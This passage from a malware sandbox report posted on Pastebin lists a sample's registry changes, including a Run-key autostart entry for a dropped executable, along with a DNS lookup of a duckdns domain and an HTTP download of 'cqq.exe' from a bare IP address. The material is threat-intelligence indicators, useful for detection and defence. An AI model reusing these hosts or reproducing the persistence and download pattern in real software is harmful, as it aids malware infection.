  1314. * Modified Registry Keys:
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  1317. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1318. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\qwertyuhgfdrtr.exe",
  1319. "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\MediaResources\\msvideo",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\MaxConnectionsPer1_0Server",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\MaxConnectionsPerServer",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TZJUB6WSRW",
  1323. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  1324. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  1325. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
  1326. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  1327. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  1328. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  1329. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  1330. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
  1331.  
  1332.  
  1333. * Deleted Registry Keys:
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  1335. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  1337. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"
  1338.  
  1339.  
  1340. * DNS Communications:
  1341.  
  1342. "type": "A",
  1343. "request": "cquestt.duckdns.org",
  1344. "answers":
  1345.  
  1346. "data": "144.168.239.34",
  1347. "type": "A"
  1348.  
  1349.  
  1350.  
  1351.  
  1352.  
  1353. * Domains:
  1354.  
  1355. "ip": "144.168.239.34",
  1356. "domain": "cquestt.duckdns.org"
  1357.  
  1358.  
  1359.  
  1360. * Network Communication - ICMP:
  1361.  
  1362. * Network Communication - HTTP:
  1363.  
  1364. "count": 1,
  1365. "body": "",
  1366. "uri": "http://185.61.138.111/cqq.exe",
  1367. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1368. "method": "GET",
  1369. "host": "185.61.138.111",
  1370. "version": "1.1",
  1371. "path": "/cqq.exe",
  1372. "data": "GET /cqq.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: 185.61.138.111\r\nConnection: Keep-Alive\r\n\r\n",
  1373. "port": 80
  1374.  
  1375.  
  1376.  
  1377. * Network Communication - SMTP:
  1378.  
  1379. * Network Communication - Hosts:
  1380.  
  1381. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!